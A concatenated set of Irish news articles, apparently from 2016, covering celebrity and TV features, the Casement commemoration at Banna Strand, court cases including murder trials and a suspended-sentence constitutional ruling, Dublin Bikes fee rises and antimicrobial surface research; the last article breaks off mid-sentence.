Raisa hasnt looked back after her leg was amputated here in Ireland when 12 years old, she said.

Ever since that Ive been able to do anything I can do now.

Anna Gabriel, whos godmother is Ali Hewson, was saved from the possibility of being brought to a mental institution when she was brought to Ireland.

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Anna had was born with no hearing, one kidney and her legs were deformed.

I arrived in Shannon airport and came down the step on one blistery wintery day and I just said Hi my name is Anna, help me, and I never left since, the bubbly woman joked.

Anna, who works at the Irish Cattle Breeding Foundation, has been studying at night in DIT to become an accounts technician.

Adi Roche and Ali Hewson joined the girls on the show and paid tribute to the volunteers and families who have adopted children with the help of Chernobyl Children International.
Ireland's Fittest Mum has a famous fan in Arnold Schwarzenegger as the Hollywood star asks her for a selfie.

Louise Quinn (35), dubbed 'Ireland's Fittest Mum', met Arnold earlier on in the week when she was training in Golds Gym in Los Angeles

The Terminator star asked the exercise guru and business woman if she would pose for a photo for him and complimented her abs.

Louise shared the photo on Twitter along with the caption, "When Arnie asks for a selfie with Ireland's Fittest Mum."

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The ambitious business woman and star of the TV3 documentary Ireland's Fittest Mum is fast becoming a household name. After competing in the World Beauty Fitness and Fashion event in Las Vegas in August, Louise was snapped up by agents, sponsors and publicists, all wanting to work with her.

However, the road to success wasnt easy.

In 2008 Louise hit rock bottom during an extremely turbulent year, following the death of her son Ashton at less than two months old.

She spent the following three years in a depressed state, becoming extremely overweight and unhealthy.

It never gets easier and it never goes away, Louise revealed in an episode of Irelands Fittest Mum.

"Theres never a day that goes by that I dont think about him, that I dont miss him. I know we only had him for five and a half weeks but I miss him every day.

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It feels like yesterday for me. When it comes up to his birthday and anniversary its just so raw, she said.

Her son died after contracting a rare bug.

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The mum revealed that the gym offered her a lifeline and has helped her move on after the tragic loss.

Fitness changed the way I was able to cope with things and maybe thats what sticks me and Jordan together. Its the reason why Ive gotten through all of this, she said.

The star of TV3s newest reality show revealed that her daughter Jordan (16) inspired her to live life to the fullest after the family lost baby Ashton.
Dublin actor Eddie Jackson has revealed the extent Game of Thrones crew goes to in order to keep scripts secret.

Jackson, who has previously appeared in Vikings, Gold, and A House of Cards, will make his debut in the upcoming sixth series of the hit HBO show.

The part he plays has not been revealed although Eddie has confirmed he is not a part of the Night's Watch, but rather a character based in Mereen.

He filmed in Belfast and Almeira with Peter Dinklage, Jacob Anderson who plays Grey Worm, Conleth Hill who plays Varys, and Nathalie Emmanuel (Missandei) and his first scene will air in episode five or six.

It was a case of third time lucky as Eddie previously auditioned twice before being called back for a third audition.

"I auditioned for season one, not really knowing anything about it as half the world didn't except maybe the people who had already read the books," he told Newstalk Breakfast.

"I got a second [audition] in Belfast, didn't get it, and just got called for this one with Carla Strong, the casting director for Ireland. I got called on the Monday and was in Belfast [filming] by Tuesday."

Since series 6 has now overtaken the books, the impetus on producers to keep plotlines secret has increased.

"You get a sense on set this year especially that because the books are gone, I'm not sure if [the cast] are afraid to say anything because they might be killed off if they do!" he said.

"You're well told, you show up, and your scenes are given to you and when you're leaving they're taken off you.

"You're not allowed to leave anything in the hotel rooms. Everything is nearly cleaned out of the hotel room in the morning when you leave.

Eddie also revealed that he only knew what scenes he was doing and the storyline relevant to his character during filming.

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"I think I only realised when I saw the trailer that one of the scenes was probably more important than I thought while filming it!" he said.

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Apart from the trailer he has only seen "a few seconds" from the upcoming season and has no idea whether or not Jon Snow is actually dead.

"It's a completely different world," he told Chris Donoghue. "You might as well be asking me about a different film at this stage.

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"But with everything online and predictions from myself, I don't think he is [dead]. I think he's alive. That's not an expert thing, that's just my opinion."

Game of Thrones season 6 kicks off on Sky Atlantic on Monday morning at 2am with a repeat at 9pm that night.
Looking for love: 'First Dates Ireland' participant Federica featured in the first episode of the new RTE show.

What do you look for in a date? Even more pertinently, what do you look for on a first date? That's a question which has baffled Irish men and women for years because we don't really have a first-date culture. Let's put it this way, it's not uncommon to hear American women openly discuss the amount of first dates they endure on a weekly basis, as if it were job interview.

In Ireland? Well, most of us know the reality - you meet someone you like in a pub, get talking, maybe have a snog or two on the way to the chipper for a spice bag and before you realise what's happening, you're in a relationship.

Maybe there's something inherently disorganised in the Irish psyche. But we just don't really have the kind of dating culture in this country that exists in the two larger neighbours on either side of us. So the big question about RTE's latest rip off, sorry, import, of successful British franchise, First Dates, was whether the concept would successfully transfer over here.

And - I'm almost ashamed to be writing this - the answer is... yeah, yeah it does. Kind of.

The success of First Dates in England is largely down to the fact that this isn't one of those shows designed to ritually humiliate the participants so much that they never leave their house again.

In fact, it has even been described by some TV critics as 'heart-warming', although most TV critics don't actually have a heart, so that might be moot.

One of the more grating obsessions with Irish reality TV is the pretence that the whole thing is based around someone's 'journey', or we see them learning stuff, or there is some other utterly spurious facade masquerading as human interest programming when all the punters really want is fireworks and degradation.

There was no degradation on last night's first episode, and precious little fireworks. But there was something undeniably and inexplicably charming about most of the participants.

One exception to the general levels of Very Irish Affability was South African model, Federica, who both looked and behaved rather like former Big Brother irritant Makosi, even down to stony assertion that the only reason people don't like her is because they are "intimidated" by her.

In fairness to her Donegal date, Lee, who looked like Paul O'Connell and sounded like Pearse Doherty, he wasn't intimidated, just bored. And increasingly baffled.

As Federica made a big deal about looking for hand sanitiser - people with no personality often develop a quirk they think makes them interesting, it doesn't - Lee looked for the exit and you knew the jig was up when, asked her age, he guessed in that very Irish way: "29? No? Okay, maybe 30?"

Jesus, Lee did your mammy never tell you that you always go lower when guessing a woman's age?

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The 25-year-old Federica - emphasised repeatedly through gritted teeth - was less than gruntled and, frankly, the viewer couldn't blame either party for never wanting to see the other ever again.

There were some interesting insights for the average bloke. According to journalism student, Amy, she insults people when she flirts with them. Does this mean that whenever a woman is ripping you to shreds she really likes you? Wow, I had no idea I was so popular, if that's the case.

The stand-out couple were Simon and Tynan, who were so physically similar they could have been on a different show about reuniting long lost brothers. They seemed the perfect match, but frankly, when Tynan announced that he loved to cook, had spent a few years in cookery school and was also a qualified masseuse, I came damn near to falling for him myself.

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The producers will tell you that the participants are just normal people looking for love. They're not, of course. Normal people don't endure a blind date with 17 cameras around them unless they want to be on telly.

But they seemed like - mostly - nice people and none of the couples monopolised the show, which is always a relief.

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In an episode that had more than its fair share of one-liners, I was struck by Federica's assertion that love is: "That feeling you get when you've never had it before."

Sorry, luv. That sounds more like the shellfish.

If First Dates was rather endearing, The Many Lives Of Kevin McGeever was simply odd.

In fact, it was an extremely odd programme about an extremely odd story. McGeever was the runaway millionaire who faked his own kidnapping to get away from his creditors. As you do.

In a tale that encompassed farce, tragedy and more than its fair share of bat-shit craziness, it was hard to feel much sympathy for some of those he managed to bilk. Apart from anything else, McGeever was obviously an eejit. Hailing from Mayo but speaking like a Yank, he was what we used to call a complete bogey. But he drove hummers ("Ah, he loved a good hummer," said one contributor, apparently unaware of the double entendre), so people were impressed and wanted to give him all their money.

But the news that two men apparently kidnapped a friend of the crooked developer was never explored. Who were they? Did they even exist? And again - why would anyone hand their money over to such an obvious chancer?

Do they buy time share packages when on holiday?
President Michael D Higgins walks between two lines of troops at the commemoration at Banna Strand yesterday. Photo: Domnick Walsh

In the early hours of April 21, 1916, everything that could go wrong, did go wrong on the 'Lonely Banna Strand.'

Roger Casement, ill and exhausted, fell onto the north Kerry beach and while his travelling companions - Robert Monteith and Daniel Bailey - tried to alert volunteers that they'd arrived, he was captured in a nearby cave.

But yesterday on the same stretch of majestic beach, everything that could go right, did go right. The gentle waves lapped at the water's edge and the sun basked the thousands who came to remember the man they sing about regularly in these parts. Over sand dunes they trudged to be part of history.

Schoolchildren in uniform waved Tricolours and one sign outside a nearby house read, "President Higgins, will you come in for a cup of tea?".

The 'Lonely Banna Strand', an anthem in these parts, was performed and the Siamsa Tire national folk group gave a rousing rendition of 'An Roisin Dubh'.

Out at sea the Navy ship the LE Niamh was anchored. Guests of honour at the commemoration were descendants of the Casement and Monteith families.

Melbourne native Christopher Farrington travelled to pay his respects to his great grand-uncle. He told the Irish Independent: "Roger's humanitarian work in Africa and South America was awe-inspiring, as was his firm belief that Ireland deserved self-governance. It's really quite something to see so many people here today."

A clear highlight for President Higgins was the re-enactment of Casement's speech from the Old Bailey dock. The actor Declan McCarthy, dressed as Casement might have done, read the Rebel's rousing words.

And in his address, President Higgins praised the moral strength of Casement, his determination to pursue better humanitarian conditions for indigenous people and his patriotism to his country.

The Irish Air Corps provided a fly past and as the four aircraft disappeared into the distance, the national anthem played.

The President also visited Gaelscoil Mhic Easmainn in Tralee and an exhibition at the Kerry County Museum called: 'Casement in Kerry: A Revolutionary Journey'.

Earlier in the day, at 8am, an intimate ceremony was held at the pier in Ballykissane near the town of Killorglin. It was here on Good Friday, 1916, that three young volunteers lost their lives as the car they were travelling in plunged into the river Laune having taken a wrong turn.

Con Keating from Cahersiveen in Kerry, Donal Sheahan from Newcastelwest in Limerick and Belfast's Charles Monahan all lost their lives.

Kay Keating, the niece of Con Keating, told of how the three men met their death in such tragic circumstances while on a mission. On a still morning, the music of the harp shifted from the strings across the water and out to sea.

And so a century on, Kerry successfully marked a period of tragedy and pain with two poignant ceremonies. It was a perfect day to remember such an imperfect one.
A cage fighter and another man have been found guilty of murdering a 23-year-old by beating him unconscious and leaving him to drown in the River Shannon.

Polish-born Patryk Krupa drowned in the Shannon outside Athlone while incapacitated with a head injury from a violent assault on June 20th, 2014.

Leszek Sychulec (34), a Polish cage fighter with an address at Drinan, Ballymahon, Co Longford, and Andrzej Gruchacz (35) with an address in Warsaw, Poland had pleaded not guilty to murdering Mr Krupa at Bogganfin, Athlone, Co Roscommon.

The Central Criminal Court trial heard that Mr Krupa had been walking to the gym with his two friends, when a black BMW stopped beside them and two men got out.

One of these men headbutted one of Mr Krupas friends and told them to f**k off. They moved away as instructed and Mr Krupa disappeared down an alley with the men from the BMW.

The trial heard that the friends were concerned as they knew that Mr Krupa owed some money to a man. They contacted Mr Krupas pregnant girlfriend and the three of them searched Athlone for the friend and partner they knew as Paddy.

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They were passing the spot on the Shannon where he used to fish and decided to stop there to look. They found the deceased floating face down in the Shannon. They tried to revive him but he couldnt be saved and was pronounced dead at the scene.

The jury heard from a witness called Kuba Zmuda, who said that he had been instructed by the two men in the BMW to find Mr Krupa. He said he was in the front passenger seat when the two men took their victim off Church Street in Athlone.

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He said these men beat Mr Krupa in the back seat of the car as they were driven by another man to the banks of the Shannon. Mr Zmuda said that Mr Krupa was crying, I pay, as they continued to beat him there, before dragging him to the river.

The court heard that he was unconscious but alive when thrown in the water. Some of his bruising was consistent with his having been stamped on.

Mr Zmuda did not report the attack until he was arrested on suspicion of murder, telling the court that the men had threatened him. He knew only Sychulecs first name, but gave descriptions of the two killers, as did Mr Krupas friends.

When Sychulec was arrested the following day, Mr Krupas DNA was found in blood on his watch and sock.

The eye witness descriptions of the other man involved matched that of Gruchacz.

The jury was also satisfied that he was the man in passport photographs and a fake driving licence found in the car in which Sychulec was arrested. This put him with Sychulec that night.

The jury was also satisfied that both men could be seen together acting as a team in CCTV footage captured in a shop in Athlone that night.

Mr Justice Tony Hunt had told the jury that it could reach alternative verdicts of manslaughter or assault against either accused. This direction came after Sychulecs lawyer suggested that Mr Krupa might have been alive and sitting on the river bank when his attackers left the scene.

However this would not have explained the photographs the jury saw of drag marks in gravel down the bank to the waters edge.

The four women and eight men deliberated for five hours before reaching unanimous verdicts on all four counts.

Justice Hunt thanked them for their excellent work adjourned sentencing until June 13th when each man will receive the mandatory life sentence for murder.

Mr Krupas family embraced each other afterwards. Its expected that his mother will return to court to give her victim impact statement at the sentence hearing.
A MAN arrested in a Dublin apartment allegedly linked to the Christy Kinahan crime gang has failed in his High Court challenge to the legality of his detention after he was refused bail.

Mr Justice Seamus Noonan today refused to free Naoufal Fassih (35), a Dutch national originally from Morocco, who was arrested as part of a garda investigation into organised crime.

In a ruling delivered this afternoon, the judge said Mr Fassih had failed to demonstrate any fundamental denial of justice and ruled that his detention was lawful.

Mr Fassihs lawyer had argued that he had not been given a proper opportunity to make a case for bail in the district court.

Mr Fassih had brought the application to be freed following the refusal of a district court judge to grant him bail last week.

His arrest took place on April 7 at an apartment on Lower Baggot Street, where three watches worth more than 80,000 and 12,000 in cash were also seized.

Judge Noonan said counsel for Mr Fassih had characterised the refusal of bail as a refusal of the district court judge to hear his side.

I do not believe this is an accurate portrayal of what actually occurred, Judge Noonan said.

He said there had been four district court hearings and three adjournments had been at the request of the applicants lawyers.

Judge Noonan also said that Article 40 of the Constitution, under which the application was brought, was not the appropriate procedure in this case.

I am satisfied in the circumstances of this case that the applicant has failed to demonstrate absence of jurisdiction, fundamental denial of justice or fundamental flaw, the judge said.

He added that that Mr Fassih had brought another bail application at the district court this morning and had again been refused.

Mr Fassih is charged with having two false instruments, a Belgian national identity card and the Dutch passport, both bearing different names.

He also faces associated charges under the Immigration Act and possession of a small amount of cannabis.

When he made the application yesterday, Colman Fitzgerald SC, for Mr Fassih had argued that in the District Court, his client's lawyer was not given a proper opportunity to make a case for bail.

Whether or not a bail application had begun, and he accepted it had for purposes of this application, his argument was it had not concluded, counsel said.

Grainne O Neill BL, for the DPP, had argued there was no error on the face of the detention warrant and the Article 40 procedure was not appropriate.

The District Court had jurisdiction to hear a bail application and, while it may not have been a perfect hearing, had heard it, counsel said.

The transcript of the District Court hearings indicated it heard gardai believed the property where he was arrested was linked to the Kinahan Organised Crime gang, rather than Mr Fassih was linked to that group, she said.

The District judge refused to take a garda document about such matters and stopped an officer when he read a number of sentences from it, she said.

His arrest was part of an investigation into organised crime, he was only in Ireland two days at the time, had no ties here and on his arrest was going by a name that was false, counsel also said.

The cash and watches were found in plain sight in the apartment.

The garda view that he posed a flight risk was reasonable, she said.

Mr Fitzgerald had said if the prosecution was contending there was no link with the Kinahan group, there should have been no attempt to introduce certain material in the District Court.

Mr Fassih claimed he was remanded in custody without his lawyers being given an opportunity to put forward a case for bail. He also alleged he had no opportunity to explain possession of the documents.
A prisoner has been freed by the High Court, on consent of the State, following a High Court declaration that the law allowing for revocation of suspended sentences is unconstitutional.

Two other cases are due before the High Court today.

Two cases were initiated earlier this week and the third application was mentioned by Micheal P. OHiggins SC to Mr Justice Seamus Noonan this morning. It also may be heard later today.

When one of the listed cases was called this morning, Mr Justice Noonan was asked by Grainne ONeill BL, for the State, to let it stand.

The judge agreed and was later told by Conor Power Sc, with Ms ONeill, for the State and Governor of Cloverhill Prisoner, they were not standing over the detention. In those circumstances, the judge ordered the release of the prisoner.

The prisoner had received a three year sentence in January 2014, with the last 12 months suspended, on a charge of theft.

He was freed after serving the two year term but was remanded in custody earlier this month, for the purposes of activating the suspended 12 months, after he pleaded guilty to a different offence under the Domestic Violence Act.

Arising from the striking down of the revocation power, he claimed he was unlawfully in custody and the proposed revocation of the suspended part of his earlier sentence cannot proceed.

The second case is due to open later today before Mr Justice Paul McDermott.

The three challenges to the legality of detention arise from a judgment by Mr Justice Michael Moriarty last Tuesday in which he declared unconstitutional two subsections of Section 99 of the Criminal Justice Act 2006, as amended. Those subsections govern the courts powers to revoke suspended sentences.

The judgment, given in six cases raising similar challenges to Section 99.9 and Section 99.10, has very significant implications for the daily operation of the criminal justice system. ends
TV FAME: From left, Richard, Jessica, Peter and Luke Kingston on Irelands Fittest Family where they scooped 15,000. Photo: Gerard McCarthy

THE High Court has enlarged injunctions against businessman Jerry Beades and his New Land League group which has been protesting over the sale of cattle belonging to a farmer who owes a bank 2.4m.

Mr Beades and members of his group had engaged in protest at the Kingston family farm in Nohoval, Co Cork, which "could not be described as peaceful", Mr Justice Paul Gilligan said.

Some 1,000 cattle owned by Peter and Tracey Kingston, who once won the title of "Ireland's Fittest Family" on RTE, were to be sold on April 12 at an auction on the farm by the Cork County Sheriff Sinead McNamara as part of moves by an ACC-appointed receiver to recover part of the 2.4m debt.

Mr Beades, who is spokesman for the New Land League, put up a Facebook posting about a protest planned for the auction.

The Sherriff sought and was granted an injunction preventing anyone interfering with the auction.

Mr Beades and members of his group turned up outside the farm and the Sheriff said this led to considerable disruption due to interaction between the protesters and those attempting to go into the auction.

Less than half the amount expected from the auction was raised and a number of parties who bid hundreds of thousands at the auction failed to turn up an pay for the animals purchased, the Sheriff said.

It is hoped two of the largest bidders may now buy those cattle and, if not, they can possibly resold by tender process.

However, arising out of a statement issued by the New Land League calling on the Seamen's Union to stop the live export of animals from such sales, the Sheriff was concerned there will be further attempts to disrupt any future potential sale. She sought to enlarge the injunction she already got.

Mr Justice Gilligan said Mr Beades totally refutes the Sheriff's assertions and believes they are an attempt to discredit him because he is a candidate in the Seanad elections.

He had claimed the reason he turned up outside the auction was that he was representing a number of the Kingston's creditors and was not representing the Kingstons at all, the judge said.

The protest on the day could not be described as peaceful although Mr Beades took a different view, he said.

He was satisfied to grant the further orders sought by the Sheriff, pending full hearing of the matter, restraining any interference in

the cattle sale, any threatening or intimidation of those involved in the sale, including bidders, and any interference with collection and

transportation of the cattle from the farm.
A 41-year-old man who strangled his brother to death with a bungee cord before hiding his body in a pit by the Cliffs of Moher has been found not guilty of his murder by reason of insanity.

Declan O'Cualain, with an address at An Caoran Beag, An Cheathru Rua, Co Galway was charged with murdering Adrian Folan (O'Cualain) at Lislorkin North, Liscannor, Co Clare on July 4 2014.

On Monday at the Central Criminal Court Mr O'Cualain pleaded not guilty to murdering Mr Folan by reason of insanity.

Prosecution Counsel, Mr Anthony Sammon SC, yesterday told the jury that the accused had become "fixated with pedophilia" and held the baseless delusion that his brother was a person "afflicted with this difficulty and he may have sexually abused a sibling".

Mr Sammon said the accused was in "an utterly delusional state of mind" at the time and the delusions were "not to be given any weight whatsoever".

This morning two consultant forensic psychiatrists gave evidence that Mr O'Cualain should not be held responsible for his actions and he met the requirements for the special verdict of not guilty by reason of insanity.

Today after a period of just 21 minutes deliberating, a jury of nine men and three women returned a verdict of not guilty by reason of insanity.

After they had delivered their verdict, Ms Justice Margaret Heneghan told the jury they have had a "difficult task over the last few days" as it was a "distressing case."

The judge then exempted them from further jury service for a period of fifteen years.

Prosecution counsel Mr Anthony Sammon SC told the court that a recommendation had been made by Dr Ronan Mulranney that Mr O'Cualain be committed to the Central Mental Hospital (CMH) and return to court in fourteen days time.

Ms Justice Heneghan then made an order committing Mr O'Cualain to go to the CMH today and be brought back before the court on Thursday May 5.

The judge also directed the preparation of a psychiatric assessment report.

Ms Justice Heneghan then extended her sympathies to the family of Adrian Folan saying: "I have noticed the distress they have all been under and all I can do is extend my sympathies."
The DPP has directed that no charges be brought in relation to the death of teenager who died after reportedly taking ecstasy.

Ana Maria (Ana) Hick (18) from Northcote Terrace in Dun Laoghaire, Co Dublin collapsed outside the Twisted Pepper nightclub on Dublins Middle Abbey Street on May 16 2015.

She was rushed to the Mater hospital where she died the following day.

The teenagers mother Elga Hick attended a brief inquest hearing at Dublin Coroners Court as a date for a full inquest was set.

A file was submitted to the Director of Public Prosecution who directed that no charges be brought, Inspector Sharon Kennedy of Store Street Garda Station told the court.

Ana, who had reportedly ingested three ecstasy tablets on a night out with friends, collapsed outside the nightclub at around 3 am.

Emergency services performed CPR at the scene amid efforts to save her life. She was rushed to the Mater Hospital and placed in intensive care unit.

The teenager's condition deteriorated and she was pronounced dead surrounded by family around 5pm the following day, May 17.

Ana had been out celebrating the end of her first year in college with friends when she collapsed.

She was described as fun-loving, determined and ambitious in tributes from friends following her death. She was due to celebrate her 19th birthday two days after her death.

Coroner Dr Brian Farrell asked Ms Elga Hick if she had any questions ahead of the full inquest hearing into her daughters death and she replied no. The coroner adjourned the inquest until June 30 2016 for full hearing
David McSavage pictured arriving at the Four Courts for a District Court appearance

RTE star David McSavage has been given another chance to avoid jail for not paying his TV licence, after a judge adjourned the case.

The 49-year-old comedian appeared before Dublin District Court this afternoon for not paying the TV licence fee for his house in Portobello, Dublin.

McSavage told the court he refuses to pay the fee because he has questions around the standard of the national broadcasters shows.

An inspector told the court that he called to McSavage's house on May 7, 2015, and asked if he had a TV licence.

The inspector said that Mr Savage was not in the possession of a TV licence.

Judge John O'Neill said that Mr Savage's reason for not paying the licence fee was not a "legal justification".

The inspector told the court that a current TV licence had been paid on March 31, however 115 arrears were owed.

Mr McSavage told the judge that he would pay the arrears and Judge O'Neill adjourned the case until June 16.

Judge O'Neill told the TV star that if the arrears are not paid he runs the risk of a conviction.

However, speaking to media after the case, the comedian claimed that he did not buy a licence and that he does not know who did.

"I didn't take one out on March 31. I don't have a licence. I'm saying I haven't got a TV licence. I didn't know I had a licence," said Mr McSavage.

"I didn't buy one personally. I didn't realise that a TV licence was bought."

He also added that he didn't understand what he was agreeing to when the evidence was put before the court.

He said: "I've got a gig tonight and then I thought well if I say I'm not going to pay it I don't know would I be taken down...would I be put in prison.

"I don't mind going to prison or whatever, it's one thing saying it and then being in the situation."

When asked by media if he would pay the arrears, the comic replied: "Yeah...this is enough of this sh*t at this f**king stage. I had the point, the point is made."

However, he then went on to tell journalists that he didn't know if he would pay the arrears or appear before the court in June.

The comic decided to represent himself before the packed court.

The Dubliner told media in the days leading up to the court hearing that he had no problem going to jail if he did not pay the licence fee.

McSavage previously spent a stint a in a cell for selling DVDs of his Vicar Street shows on the street.
A HIGH Court judge will next week clarify the scope of orders to be made following his significant judgment declaring that provisions of a law allowing for revocation of suspended sentences are unconstitutional.

Just hours after a prisoner was released today with the State's consent on foot of Mr Justice Michael Moriarty's judgment, and with similar applications by three other prisoners pending, Mr Justice Seamus Noonan was told an "issue" has arisen as to the exact scope of the orders Mr Justice Moriarty intends to make arising from his judgment.

Those final orders were due to be made on May 5 but will now be addressed next Wednesday, Shane Murphy SC, for the Governor of Portlaoise Prison said.

Pending that, counsel asked for an adjournment of a challenge by a prisoner to the lawfulness of his detention in Portlaoise.

Mr Justice Noonan said he would adjourn the prisoner's application to Wednesday as the court could not decide the issues fully until there was clarification of the scope of Mr Justice Moriarty's orders.

Last Tuesday, Mr Justice Moriarty declared unconstitutional two subsections of Section 99 of the Criminal Justice Act 2006, as amended, giving the courts power to activate suspended sentences.

The judgment prompted the issuing of proceedings by four prisoners seeking their release. One has been freed and the three other cases have yet to be decided.

Earlier on Friday, Mr Justice Noonan, on consent of the State, freed one of the four on foot of a challenge, brought under Article 40 of

the Constitution, to the legality of his detention following the Moriarty decision. Article 40 requires the immediate release of any

person not detained in accordance with law.

The prisoner had received a three year sentence in January 2014, with the last 12 months suspended, on a charge of theft.

He was released having served the two year custodial term but again remanded in custody earlier this month, for the purposes of activating the suspended 12 months, after admitting a different offence under the Domestic Violence Act.

Following the striking down of the revocation power, he claimed he was unlawfully in custody.

In another Article 40 case by a different prisoner, opposed by the State, Mr Justice Paul McDermott has reserved his decision to next week.

That prisoner was sentenced in 2010 to eight years imprisonment, seven of which were suspended, on robbery and firearms charges. The suspension was activated in November 2014 and the man was jailed after he pleaded guilty at Dublin District Court to road traffic offences for which he received a five month sentence and 30 year driving ban.

Conor Power SC, for the State, argued the man is validly detained as he had not appealed the road traffic offences.

Mr Justice Noonan dealt with a third prisoner's case, brought via judicial review, which has been adjourned to Monday.

In that, it is argued an 11 month term being served by the prisoner as a result of revocation of a suspended sentence is unlawful.

The 11 month term arises from a sentence of two years for drug offences, of which 11 months was suspended.

After the man was freed having served the custodial part of that sentence, he was charged with different offences under the Criminal

Justice (Theft and Fraud Offences) Act, which led to his 11 month suspension being revoked by the District Court on April 14.

Because he could not raise the necessary cash lodgment for bail pending his appeal against the District Court's orders, he remains in custody.

On Friday afternoon, when another Article 40 application by the fourth prisoner came before Mr Justice Noonan, he was asked to adjourn it pending the making of final orders by Mr Justice Moriarty. That prisoner is in custody since 2012 on foot of revocation of a suspended term imposed for theft.
Two prisoners will today challenge the legality of their detention following the High Court's decision to strike down the law governing the activation of suspended sentences.

One of those seeking release is a convicted thief who was sentenced in 2014 to three years with the final 12 months suspended.

He is being held in Cloverhill Prison ahead of a planned application to activate the suspended portion of his sentence after he pleaded guilty to a domestic violence offence.

The second man is in prison after a seven-year suspended sentence he received was activated.

Lawyers for both men have made applications, brought under Article 40 of the Constitution, seeking their release.

The cases are the first in a raft of challenges expected to hit the courts after Mr Justice Michael Moriarty earlier this week issued a ruling striking down laws governing the powers of the courts to activate suspended sentences.

Solution

Three days on from that ruling there was still no sign last night of any announcement from the Department of Justice on a solution to the issue, which has caused a major crisis for the criminal justice system.

Officials have been consulting with Attorney General Maire Whelan.

Justice Minister Frances Fitzgerald signalled that emergency legislation could be brought within days, but it remains unclear if this will happen.

As well as triggering challenges to the detention of people already in custody, the Moriarty ruling has also meant the courts have been unable to deal with new applications to activate sentences.

It is understood the Director of Public Prosecutions has informed State counsel not to seek such orders in light of the judgment.

The Office of the DPP declined to comment yesterday.

The cases of the two prisoners seeking release today were mentioned to Mr Justice Seamus Noonan in the High Court yesterday.

Conor Power SC, for the State, said both applications raised similar issues and he wanted time to address those.

He said the State was dealing with issues arising from the Moriarty judgment.

Micheal P O'Higgins SC, for one of the applicants, said a remand order was the sole basis for his client's detention and, as a result of the ruling, that appeared to "fall away".

Mr Power said the legal issues that arose in that particular case may not be as simple as indicated.

Mr Justice Noonan said there are "very significant issues" arising from Mr Justice Moriarty's decision and the State should have a reasonable opportunity to consider its position.

The judge noted one of the applications was already fixed for hearing before Mr Justice Paul McDermott today and he said the second could also be adjourned to then.

Mr Justice Moriarty deemed Section 99 of the Criminal Justice Act 2006 to be unfair as it effectively denied a person who had re-offended the same rights of appeal as everybody else.

It allowed for a person to be immediately committed to prison on foot of the activation of a suspended sentence without first being allowed to appeal against the second conviction which triggered that activation.

The law had been controversial for some time and was the subject of much criticism from the judiciary.
A DUBLIN woman who lied to the social welfare office about having a job and fraudulently claimed more than 22,000 in dole payments has avoided a jail sentence.

Edel Byrne (34) of The Swift, Tassaggard, Saggart was 500 after she pleaded guilty at Dublin District Court to the dole fraud in a prosecution brought by the Department of Social Protection.

Judge John O'Neill was told that from February 2012 until February 2014 she made two false declarations to the social welfare authorities. She was claiming one parent family payment but was employed with an annual salary of 27,000.

On the forms she had been asked if she was working but clearly answered no, the judge was told.

She unlawfully obtained 22,174 and since detection has been paying it back 20 a week. At that rate, it will take 20 years for the social welfare authorities to recover the money, prosecuting solicitor Joseph Maguire said.

Pleading for leniency, the woman's barrister told the court that Ms Byrne was under economic pressure following boom-time spending. She had a loan car, did not live lavishly and was looking after her children on her own. She did not appreciate the seriousness of the situation, the court also heard.

She had no prior convictions but has hit rock bottom and she is now unable to work and is now in receipt of illness benefit.

Judge O'Neill said she knew she was not being upfront with the social welfare authorities and she has put herself in this stressful situation. Fining her, he said she was the author of her own misfortune and owed a colossal amount

The charge is contrary to Social Welfare Consolidation Act.

It can result in a fine of up to 2,500 and a possible six-month sentence in addition to having to repay the social welfare authorities. They can also continue to recoup money owed after criminal proceedings have concluded.
Dublin City Council is to propose a 50pc price hike in Dublin Bikes subscription fees, as part of a 100m expansion plan for the scheme.

The new funding strategy could also see advertising panels installed around College Green and Grafton Street.

The Irish Times reports that the scheme, which currently costs members 20 per annum, is set to rise to 25 this year and 30 next year.

This represents a 50pc increase on the current subscription fee, and three times the original 10 fee when the scheme was initially launched in 2009.

However, the proposal does not include plans to raise the 5 three-day subscription or the per hour charges.

The Dublin Bikes scheme is estimated to cost 1.9m a year to run, a cost met by a combination of annual subscriber memberships, short-term memberships, usage fees and corporate sponsorship.

While subscriptions and user charges cover 1.2m and Coca-Cola Zero contributes 312,000 in sponsorship, Dublin City Council is subventing the scheme and paid a reported 376,211 in 2015.

The council is considering removing its subvention and increasing the annual subscription, in a proposal that will be presented to the Strategic Policy Committee (SPC) next Tuesday.

Its one of many proposals in the report to the SPC, its not the only proposal," a spokesperson from the DCC told Independent.ie.

If the annual subscription is raised by 10 for all existing members, it would generate an extra 580,000 which the Times notes would not cover the planned expansion to the suburbs.

In 2010, Dublin City Council released a planning framework laying out plans to extend the scheme northwards to Whitehall and DCU and southwards to Clonskeagh.

The planned expansion was expected to take place over a 10-year period, bringing the number of bikes from 1,500 to 5,000.

Such an extension is estimated to cost 100m, and the council is proposing to introduce advertising panels along busy traffic routes and key civic/retail quarters around the city centre including OConnell Street, College Green and Grafton Street.

The report notes that such advertising would have to potential to full or part-fund all remaining expansion phases.

A spokesperson from the National Transport Authority said there are no plans to propose a price increase for the Coca-Cola Zero bike schemes in Cork, Limerick and Galway.
Smartphones, door handles and even stair rails in hospital will no longer be breeding grounds for superbugs and germs thanks to Irish scientists.

They have discovered a way to stop common items we touch from becoming riddled with harmful bugs, some of which may be potentially lethal.

The team from the Institute of Technology in Sligo created a formula for a water-based solution that can be mixed in during the manufacturing process to kill or stop the growth of these bugs.

It even works on toilet seats, fridges, microwaves, TV remote controls and floor tiles, said Prof Suresh C Pillai, who led the team of researchers.

It has the potential for preventing people from picking up superbugs such as MRSA that can enter the bloodstream and lead to a life-threatening infection or the E. coli bacteria that results in food poisoning.

"It's absolutely wonderful to finally be at this stage. This breakthrough will change the whole fight against superbugs. It can effectively control the spread of bacteria," said Prof Pillai.

"Every single person has a sea of bacteria on their hands. The mobile phone is the most contaminated personal item that we can have. Bacteria grows on the phone and can live there for up to five months.

"As it is contaminated with proteins from saliva and from the hand, it's fertile land for bacteria and has been shown to carry 30 times more bacteria than a toilet seat."

He said other common uses could be found in stopping glass in public buses and trains, sneeze guards, deli counters and clean rooms in medical clinics from harbouring germs.

The findings, which have been published in the international scientific journal 'Scientific Reports', have sparked global interest.

The team used nanotechnology to formulate the effective antimicrobial solution which could become part of the manufacturing process.

Prof Pillai started the research 12 years ago, beginning at CREST (Centre for Research in Engineering Surface Technology) in Dublin Institute of Technology and then at IT Sligo's Nanotechnology Research Group (PEM Centre).

It also involved researchers in the University of Surrey in the UK.

The benefit of the discovery is that it gets around the inability currently to kill antibiotic superbugs once they have attached to a surface, increasing the risks of spread.

By building the new solution into the products, the protection is already in place.

He said: "The challenge was the preparation of a solution that was activated by indoor light rather than UV light and we have now done that.

Sprayed

